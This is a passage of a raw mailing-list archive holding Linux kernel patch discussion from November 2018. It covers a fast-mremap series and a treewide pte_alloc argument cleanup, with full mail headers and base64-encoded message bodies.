oMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKg
wqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqAgXAogwqDCoMKgwqDCoMKgwqAgX19mbHVzaF90bGJf
b25lKCh2YWRkcikpO8KgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqAgXAogwqB9IHdoaWxlICgw
KQoKK2V4dGVybiB2b2lkIHNldF9wbWRfYXQoc3RydWN0IG1tX3N0cnVjdCAqbW0sIHVuc2lnbmVk
IGxvbmcgYWRkciwKK8KgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqAgcG1kX3QgKnBtZHAsIHBt
ZF90IHBtZCk7CisKIMKgI2VuZGlmCmRpZmYgLS1naXQgYS9hcmNoL3VtL2tlcm5lbC90bGIuYyBi
L2FyY2gvdW0va2VybmVsL3RsYi5jCmluZGV4IDc2M2QzNWJkZGEwMS4uZDE3Yjc0MTg0YmEwIDEw
MDY0NAotLS0gYS9hcmNoL3VtL2tlcm5lbC90bGIuYworKysgYi9hcmNoL3VtL2tlcm5lbC90bGIu
YwpAQCAtNjQ3LDMgKzY0Nyw5IEBAIHZvaWQgZm9yY2VfZmx1c2hfYWxsKHZvaWQpCiDCoMKgwqDC
oMKgwqDCoMKgwqDCoMKgwqDCoMKgwqAgdm1hID0gdm1hLT52bV9uZXh0OwogwqDCoMKgwqDCoMKg
wqAgfQogwqB9Cit2b2lkIHNldF9wbWRfYXQoc3RydWN0IG1tX3N0cnVjdCAqbW0sIHVuc2lnbmVk
IGxvbmcgYWRkciwKK8KgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqAgcG1kX3QgKnBtZHAsIHBt
ZF90IHBtZCkKK3sKK8KgwqDCoMKgwqDCoCAqcG1kcCA9IHBtZDsKK30KKwoKCl9fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fCmxpbnV4LXNucHMtYXJjIG1haWxp
bmcgbGlzdApsaW51eC1zbnBzLWFyY0BsaXN0cy5pbmZyYWRlYWQub3JnCmh0dHA6Ly9saXN0cy5p
bmZyYWRlYWQub3JnL21haWxtYW4vbGlzdGluZm8vbGludXgtc25wcy1hcmM=


From - Thu Nov 08 21:42:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: SF Markus Elfring <elfring@users.sourceforge.net>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.janitors,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH -next v2 1/3] mm: treewide: remove unused address argument
 from pte_alloc functions
Date: Sat, 3 Nov 2018 13:51:20 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <fd939e7c-3d9e-760e-f20c-e7263f064153@users.sourceforge.net>
References: <20181103040041.7085-1-joelaf@google.com>
 <20181103040041.7085-2-joelaf@google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1541249500 30191 195.159.176.226 (3 Nov 2018 12:51:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 3 Nov 2018 12:51:40 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
 Thunderbird/60.3.0
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org,
 Lokesh Gidra <lokeshgidra@google.com>, sparclinux@vger.kernel.org,
 linux-riscv@lists.infradead.org, Anton Ivanov <anton.ivanov@kot-begemot.co.uk>,
 Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org,
 Daniel Colascione <dancol@google.com>,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-hexagon@vger.kernel.org,
 Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 Hugh Dickins <hughd@google.com>,
 "James E. J. Bottomley" <jejb@parisc-linux.org>, kasan-dev@googlegroups.com,
 kvmarm@lists.cs.columb
To: Joel Fernandes <joel@joelfernandes.org>, kernel-janitors@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Nov 03 13:51:31 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gIvOk-0007cj-Lp
	for gla-linux-snps-arc@m.gmane.org; Sat, 03 Nov 2018 13:51:30 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=tZl4XGmraCkXs04WXom0NcoK9oub78lzcCEydWOeMew=; b=tBx2nKKp0WEBfc
	VbIiAV+yBQlx91Q7qYgxWujt3AhLCaj5JjU6ULWreYgNIz4TbBjzhRugBGXT4vMWCEoxdflBAXzzp
	PkVBsHzUF3jtxgKu8g4IR2e4UPF3koFFTfdQjKsjbvgrKrr+hcQTUvY55f1Y4O1XDSjs5HQLu8zPs
	ymiUTcz0pMbyY9el3JdO52agQ3w5SH/qSBscWs3m5SaCRJ+uOIG866AmWP07tpFVB1f5xpLQLJ3ZL
	8oa3yhAOPlfnyPGQeG0ApxZAuwh2m4XVp/qymd72SAvzleLNw1FO/65Hw/YuhAH2fDhGXblg6ul6J
	GYsQ/CdouYGnbHgyPPrA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gIvQq-0001ux-1I; Sat, 03 Nov 2018 12:53:40 +0000
Original-Received: from mout.web.de ([217.72.192.78])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gIvQm-0001t8-NK; Sat, 03 Nov 2018 12:53:38 +0000
Original-Received: from [192.168.1.2] ([77.182.136.36]) by smtp.web.de (mrweb102
 [213.165.67.124]) with ESMTPSA (Nemesis) id 0MWj6V-1g3sYm0dBr-00XxSy; Sat, 03
 Nov 2018 13:51:35 +0100
Original-Received: from [192.168.1.2] ([77.182.136.36]) by smtp.web.de (mrweb102
 [213.165.67.124]) with ESMTPSA (Nemesis) id 0MWj6V-1g3sYm0dBr-00XxSy; Sat, 03
 Nov 2018 13:51:35 +0100
In-Reply-To: <20181103040041.7085-2-joelaf@google.com>
Content-Language: en-GB
X-Provags-ID: V03:K1:VsFj7PZvXTuItJtMK3DaoKAJBuiK9mXpGGY5+klibNLoFdxoEfJ
 LMXp3e5QGQjzwTHhuzc7WT6CSt1cWmztVsZoA0YtitXFQxXGg/1sFxtK/3NTNTBkQAE/vLx
 yfH10rM+HaCfDwS1a7MSrlUZRz1cWjsl+WROQOVkuX2Uyl621tQOWWcYzEdwOCFSZeezRw6
 yD79guZzI267srJxDvn3Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:1lqYMjBjtvM=:9WWP2ekn7iGjSIrji6zHLJ
 yBNKkUboO37rsUnXH2Hg1Nez21TNcgKLqB+iEAXeFxsuUWND5iqNTOV0f7iUhZ8LCVGERjosH
 eV3EIcmUs352FIYVcIl9pyl5kGfhyW9CVAKKA3Vtl3fCIVS0h7AUC/CRFfSTYRrqquFdLKY+D
 YY9tBgmKF4RLAo2VV77L0kpvX2Ex/oBUWcqIyxWKJbUKK+4M0oO4Hd1GX9jVpKEDNTzw9Mgv/
 7EcR7oIz4ZDbZIFAHhOkcxazCVjpGbsUt/2JruOkxclbJ8fM4SI/vREdND1Uu+RHQRIfr2h2g
 mvfANVUd2tKA7k1bjCrXUAyb6wb7lYUJR0j+OfLb3pMP/MTXDfpEfncDaW8uY1XIXYsPvgTms
 EpzszDs2kayp8qWmLSvYCtQOWJOBcm1YY61+mraL5tDhBLDaUmh+4KT6vr+Jh1K7kce7R05sE
 dcd8zBw+xXnrI9S0EB8blbb0HUC4VPSKqqDOpIqDlvxsduQE50MQpPbW2a8qQxsvmsh7DxHCG
 VgfYc7FNJpmIqqHy7PsbXSvsbY5CafBpbVG7PSxhOJkq7zcSNFUCySNea//ZYJbaJJilfhaRJ
 wpL6cKkQwaZzhNtfD2PEARWGxTRoJm7JVowCVrTOL7vPSSN1l9lqiKL45tT215MR9ACy9gWy4
 WjD8wcPjzKhPGyVZnegCom/pq3DYdY7Tm85VUpRHx7+4r/fv+iFVTEJ4ctNFSr6k0fSLVHrqL
 BoXtVj57lGWnx+igC+B3hHR/etawYfDXlpsvl5UPntkjZW5FyR7g3yQ05ThLCPg7UN2/gUt0 
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181103_055337_064831_0E4D2FA3 
X-CRM114-Status: GOOD (  11.03  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.2 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/,
 low trust [217.72.192.78 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4689 gmane.linux.kernel.janitors:55076 gmane.linux.ports.mips.general:67290 gmane.linux.ports.ia64:29463 gmane.linux.ports.sh.devel:57742 gmane.linux.kernel.mm:206339 gmane.linux.ports.sparc:28718 gmane.linux.ports.riscv:1353 gmane.linux.ports.hexagon:1998 gmane.comp.emulators.kvm.arm.devel:19665 gmane.linux.ports.parisc:29266 gmane.linux.kernel:2914590 gmane.linux.ports.alpha:5409 gmane.linux.ports.ppc64.devel:165212
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4689>

PiDigKYgVGhlcmUgaXMgY29uY2VybiB0aGF0IOKApgoKRG9lcyB0aGlzIHdvcmRpbmcgbmVlZCBh
IHNtYWxsIGFkanVzdG1lbnQ/CgoKPiBUaGUgY2hhbmdlcyB3ZXJlIG9idGFpbmVkIGJ5IGFwcGx5
aW5nIHRoZSBmb2xsb3dpbmcgQ29jY2luZWxsZSBzY3JpcHQuCgpJIHdvdWxkIGZpbmQgaXQgbmlj
ZXIgaWYgcHJldmlvdXMgcGF0Y2ggcmV2aWV3IGNvbW1lbnRzIHdpbGwgdHJpZ2dlcgpmdXJ0aGVy
IHVzZWZ1bCBlZmZlY3RzIGhlcmUuCmh0dHBzOi8vcGF0Y2h3b3JrLmtlcm5lbC5vcmcvcGF0Y2gv
MTA2Mzc3MDMvIzIyMjY1MjAzCmh0dHBzOi8vbG9yZS5rZXJuZWwub3JnL2xpbnV4cHBjLWRldi8w
M2I1MjRmMy01ZjNhLWJhYTAtMjI1NC05YzU4ODEwM2QyZDZAdXNlcnMuc291cmNlZm9yZ2UubmV0
LwpodHRwczovL3d3dy5tYWlsLWFyY2hpdmUuY29tL2xpbnV4cHBjLWRldkBsaXN0cy5vemxhYnMu
b3JnL21zZzE0MDAwOS5odG1sCgoKSWYgeW91IGhhdmUgZ290IGRpZmZpY3VsdGllcyB3aXRoIHRo
ZSB1c2FnZSBvZiBhZHZhbmNlZCByZWd1bGFyIGV4cHJlc3Npb25zCmZvciBTbVBMIGNvbnN0cmFp
bnRzLCBJIHN1Z2dlc3QgdG8gdXNlIGRlc2lyZWQgZnVuY3Rpb24gbmFtZXMgaW4gU21QTCBsaXN0
cwpvciBkaXNqdW5jdGlvbnMgaW5zdGVhZCBiZWNhdXNlIG9mIGRpZmZlcmVudCBydW4gdGltZSBj
aGFyYWN0ZXJpc3RpY3MKZm9yIHN1Y2ggYSBzb3VyY2UgY29kZSB0cmFuc2Zvcm1hdGlvbiBhcHBy
b2FjaC4KCgo+IC8vIE5vdGU6IEkgc3BsaXQgdGhlICdpZGVudGlmaWVyIGZuJyBsaW5lLCBzbyBp
ZiB5b3UgYXJlIG1hbnVhbGx5Cj4gLy8gcnVubmluZyBpdCwgcGxlYXNlIHVuc3BsaXQgaXQgc28g
aXQgcnVucyBmb3IgeW91LgoKUGxlYXNlIGRlbGV0ZSB0aGlzIHF1ZXN0aW9uYWJsZSBjb21tZW50
LgoKKiBUaGUgc2VtYW50aWMgcGF0Y2ggbGFuZ3VhZ2Ugc2hvdWxkIGhhbmRsZSB0aGUgbWVudGlv
bmVkIGNvZGUgZm9ybWF0dGluZy4KKiBZb3UgY2FuIHVzZSBtdWx0aS1saW5lIHJlZ3VsYXIgZXhw
cmVzc2lvbnMgKGlmIGl0IHdvdWxkIGJlIGRlc2lyZWQpLgoKCj4gQHB0ZV9hbGxvY19mdW5jX2Rl
ZiBkZXBlbmRzIG9uIHBhdGNoIGV4aXN0c0AKPiBpZGVudGlmaWVyIEUyOwo+IGlkZW50aWZpZXIg
Zm4gPX4KCkhvdyBkbyB5b3UgdGhpbmsgYWJvdXQgdG8gYXZvaWQgdGhlIHJlcGV0aXRpb24gb2Yg
YSBTbVBMIGtleSB3b3JkIGF0IHN1Y2ggcGxhY2VzPwoKUmVnYXJkcywKTWFya3VzCgpfX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwpsaW51eC1zbnBzLWFyYyBt
YWlsaW5nIGxpc3QKbGludXgtc25wcy1hcmNAbGlzdHMuaW5mcmFkZWFkLm9yZwpodHRwOi8vbGlz
dHMuaW5mcmFkZWFkLm9yZy9tYWlsbWFuL2xpc3RpbmZvL2xpbnV4LXNucHMtYXJj


From - Thu Nov 08 21:42:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH -next 0/3] Add support for fast mremap
Date: Sat, 3 Nov 2018 08:20:06 -0700
Lines: 81
Approved: news@gmane.org
Message-ID: <20181103152006.GB259637@google.com>
References: <20181103040041.7085-1-joelaf@google.com>
 <6886607.O3ZT5bM3Cy@blindfold>
 <e1d039a5-9c83-b9b9-98b5-d39bc48f04e0@kot-begemot.co.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1541258312 30442 195.159.176.226 (3 Nov 2018 15:18:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 3 Nov 2018 15:18:32 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-sh@vger.kernel.org, Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org, dancol@google.com,
 linux-ia64@vge.kvack.org, Yoshinori Sato <ysato@users.sourceforge.jp>,
 linux-xtensa@linux-xtensa.org, Richard Weinberger <richard@nod.at>,
 Helge Deller <deller@gmx.de>, r.kernel.org@lithops.sigma-star.at,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googleg
To: Anton Ivanov <anton.ivanov@kot-begemot.co.uk>
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Sat Nov 03 16:18:22 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gIxgm-0007X3-Q5
	for glpr-linux-riscv@m.gmane.org; Sat, 03 Nov 2018 16:18:17 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=BvlEBbB2UC/L3kBac6Lp6I2sY98hnXJCyRNQGTu6/FA=; b=YEd3AS49n/JprB
	2OynjL4LkfNPyVvw7aumrOwfkNPUdFP0LVUreCSO+zL5kkFmIPKbDBsYmykqLAMb9R9yYvKsMHzBP
	yqpCtnZJguH7dUcQ2zv2RiWx+Pii4cq++D/AVJu17KegP8Ndd0dQ5Yr5UiniDHiy5CQhLxdcezv8m
	Jd6IdNInDjTpCPTQDWeHWAeZa7Yw8LstW8TO0HY09FaRibTB5kowzBJ+8VfaKFAotv52XjmWYF2lA
	5DshKF5FdQoW3uHtOfjEs1gNUKvO8Wr2zkiHUU3OJ3OwodAGJkMk0DcMxalfNxDQYEHhRp4Cyi971
	G9L+Xv7eIxGCZF7UxlJw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gIxir-0007JP-9a; Sat, 03 Nov 2018 15:20:25 +0000
Original-Received: from mail-pl1-x644.google.com ([2607:f8b0:4864:20::644])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gIxim-0007HX-FD
 for linux-riscv@lists.infradead.org; Sat, 03 Nov 2018 15:20:22 +0000
Original-Received: by mail-pl1-x644.google.com with SMTP id b5-v6so2361201pla.6
 for <linux-riscv@lists.infradead.org>; Sat, 03 Nov 2018 08:20:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:content-transfer-encoding:in-reply-to
 :user-agent; bh=i6yaJB2o9sU7RuXm3r4UBsrPg8iuns5RuNX/tH/zwXQ=;
 b=kNJTtkYtds3pxV2uBXIy49B35JnxurHkW0tix9slazii0qnVoqVSf1Xxe/L1hwjEfD
 2efnl2GTOwtRrE6WE/ClAtE07lZUOFoMtDfdJMIKLRVgjmEzRmLZZatgukQdreHt/srx
 wKq5XJFi/LFWMZ6B0kM34SGCvehl8RS8FFwSI=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:content-transfer-encoding
 :in-reply-to:user-agent;
 bh=i6yaJB2o9sU7RuXm3r4UBsrPg8iuns5RuNX/tH/zwXQ=;
 b=K5/5TINSEGi6NOnaY9UYIkw6T2Tk7u12uQhh8y2asC0BJiYm2p3Qqv1o/8N+kJ78Bc
 ed1ytfKCGUFafVWFBKdgFb5Xpy2e97cc5rJyWdij9dnZODJxEWkitVFbRrsYzA7oCehI
 Mq+/jNxEOdJuG8huONQB5z0v5DTWpeuxNO+ZPwS6RR1kJW+BexveKi+5LXzQq32SsnoY
 ykH2FtuhpIndA5e1gpJF75OTdyu1jo6mBQKLnnMubLw1ffl5UciK8w1PuHXXYpXrpQfm
 BRD7wdpy/ehvAp8fj3UG2ntmpWs5/OYFa1swhZDls1g2BiQa/w5nXPRgFPREhApIN5sB
 nLqg==
X-Gm-Message-State: AGRZ1gI5TNPXIW15xNpEImPnBL+nIQwz4j+hKoWlTS6UZHhp+uVzKuUD
 cOZfniLnwBF5t/82q0QNmoqTcA==
X-Google-Smtp-Source: AJdET5dI1MLr4wRZbH7JvxzuiOr+hjXlr7MrDVt6HsOhVN9g4qLIJr2xZEdzSnHS0FC+5fBNd9BRdA==
X-Received: by 2002:a17:902:70c3:: with SMTP id
 l3-v6mr14941058plt.329.1541258409136; 
 Sat, 03 Nov 2018 08:20:09 -0700 (PDT)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id i2-v6sm36388663pgq.35.2018.11.03.08.20.07
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Sat, 03 Nov 2018 08:20:07 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <e1d039a5-9c83-b9b9-98b5-d39bc48f04e0@kot-begemot.co.uk>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181103_082020_537929_92DD8119 
X-CRM114-Status: GOOD (  30.70  )
X-Spam-Score: -0.2 (/)
X-Spam-Report: SpamAssassin version 3.4.2 on bombadil.infradead.org summary:
 Content analysis details:   (-0.2 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/,
 no trust [2607:f8b0:4864:20:0:0:0:644 listed in]
 [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
 author's domain
 -0.1 DKIM_VALID_EF          Message has a valid DKIM or DK signature from
 envelope-from domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
 valid
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1354 gmane.linux.ports.mips.general:67291 gmane.linux.ports.sh.devel:57743 gmane.linux.kernel.mm:206340 gmane.linux.ports.sparc:28719 gmane.linux.ports.hexagon:1999 gmane.comp.emulators.kvm.arm.devel:19666 gmane.linux.kernel.arc:4690 gmane.linux.ports.parisc:29267 gmane.linux.kernel:2914614 gmane.linux.ports.alpha:5410 gmane.linux.ports.ppc64.devel:165213
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1354>

T24gU2F0LCBOb3YgMDMsIDIwMTggYXQgMDk6MjQ6MDVBTSArMDAwMCwgQW50b24gSXZhbm92IHdy
b3RlOgo+IE9uIDAzLzExLzIwMTggMDk6MTUsIFJpY2hhcmQgV2VpbmJlcmdlciB3cm90ZToKPiA+
IEpvZWwsCj4gPiAKPiA+IEFtIFNhbXN0YWcsIDMuIE5vdmVtYmVyIDIwMTgsIDA1OjAwOjM4IENF
VCBzY2hyaWViIEpvZWwgRmVybmFuZGVzOgo+ID4gPiBIaSwKPiA+ID4gSGVyZSBpcyB0aGUgbGF0
ZXN0ICJmYXN0IG1yZW1hcCIgc2VyaWVzLiBUaGlzIGp1c3QgYSByZXBvc3Qgd2l0aCBLaXJpbGwn
cwo+ID4gPiBBY2tlZC1ieXMgYWRkZWQuIEkgd291bGQgbGlrZSB0aGlzIHRvIGJlIGNvbnNpZGVy
ZWQgZm9yIGxpbnV4IC1uZXh0LiAgSSBhbHNvCj4gPiA+IGRyb3BwZWQgdGhlIENPTkZJRyBlbmFi
bGVtZW50IHBhdGNoIGZvciBhcm02NCBzaW5jZSBJIGFtIHlldCB0byB0ZXN0IGl0IHdpdGgKPiA+
ID4gdGhlIG5ldyBUTEIgZmx1c2hpbmcgY29kZSB0aGF0IGlzIGluIHZlcnkgcmVjZW50IGtlcm5l
bCByZWxlYXNlcy4gKE5vbmUgb2YgbXkKPiA+ID4gYXJtNjQgZGV2aWNlcyBydW4gbWFpbmxpbmUg
cmlnaHQgbm93Likgc28gSSB3aWxsIHBvc3QgdGhlIGFybTY0IGVuYWJsZW1lbnQgb25jZQo+ID4g
PiBJIGdldCB0byB0aGF0LiBUaGUgcGVyZm9ybWFuY2UgbnVtYmVycyBpbiB0aGUgc2VyaWVzIGFy
ZSBmb3IgeDg2Lgo+ID4gPiAKPiA+ID4gTGlzdCBvZiBwYXRjaGVzIGluIHNlcmllczoKPiA+ID4g
Cj4gPiA+ICgxKSBtbTogc2VsZWN0IEhBVkVfTU9WRV9QTUQgaW4geDg2IGZvciBmYXN0ZXIgbXJl
bWFwCj4gPiA+IAo+ID4gPiAoMikgbW06IHNwZWVkIHVwIG1yZW1hcCBieSAyMHggb24gbGFyZ2Ug
cmVnaW9ucyAodjQpCj4gPiA+IHYxLT52MjogQWRkZWQgc3VwcG9ydCBmb3IgcGVyLWFyY2ggZW5h
YmxlbWVudCAoS2lyaWxsIFNodXRlbW92KQo+ID4gPiB2Mi0+djM6IFVwZGF0ZWQgY29tbWl0IG1l
c3NhZ2UgdG8gc3RhdGUgdGhlIG9wdGltaXphdGlvbiBtYXkgYWxzbwo+ID4gPiAJcnVuIGZvciBu
b24tdGhwIHR5cGUgb2Ygc3lzdGVtcyAoRGFuaWVsIENvbCkuCj4gPiA+IHYzLT52NDogUmVtb3Zl
IHVzZWxlc3MgcG1kX2xvY2sgY2hlY2sgKEtpcmlsbCBTaHV0ZW1vdikKPiA+ID4gCVJlYmFzZWQg
b250b3Agb2YgTGludXMncyBtYXN0ZXIsIHVwZGF0ZWQgcGVyZiByZXN1bHRzIGJhc2VkCj4gPiA+
ICAgICAgICAgIG9uIHg4NiB0ZXN0aW5nLiBBZGRlZCBLaXJpbGwncyBBY2tzLgo+ID4gPiAKPiA+
ID4gKDMpIG1tOiB0cmVld2lkZTogcmVtb3ZlIHVudXNlZCBhZGRyZXNzIGFyZ3VtZW50IGZyb20g
cHRlX2FsbG9jIGZ1bmN0aW9ucyAodjIpCj4gPiA+IHYxLT52MjogZml4IGFyY2gvdW0vIHByb3Rv
dHlwZSB3aGljaCB3YXMgbWlzc2VkIGluIHYxIChBbnRvbiBJdmFub3YpCj4gPiA+ICAgICAgICAg
IHVwZGF0ZSBjaGFuZ2Vsb2cgd2l0aCBtYW51YWwgZml4dXBzIGZvciBtNjhrIGFuZCBtaWNyb2Js
YXplLgo+ID4gPiAKPiA+ID4gbm90IGluY2x1ZGVkIC0gKDQpIG1tOiBzZWxlY3QgSEFWRV9NT1ZF
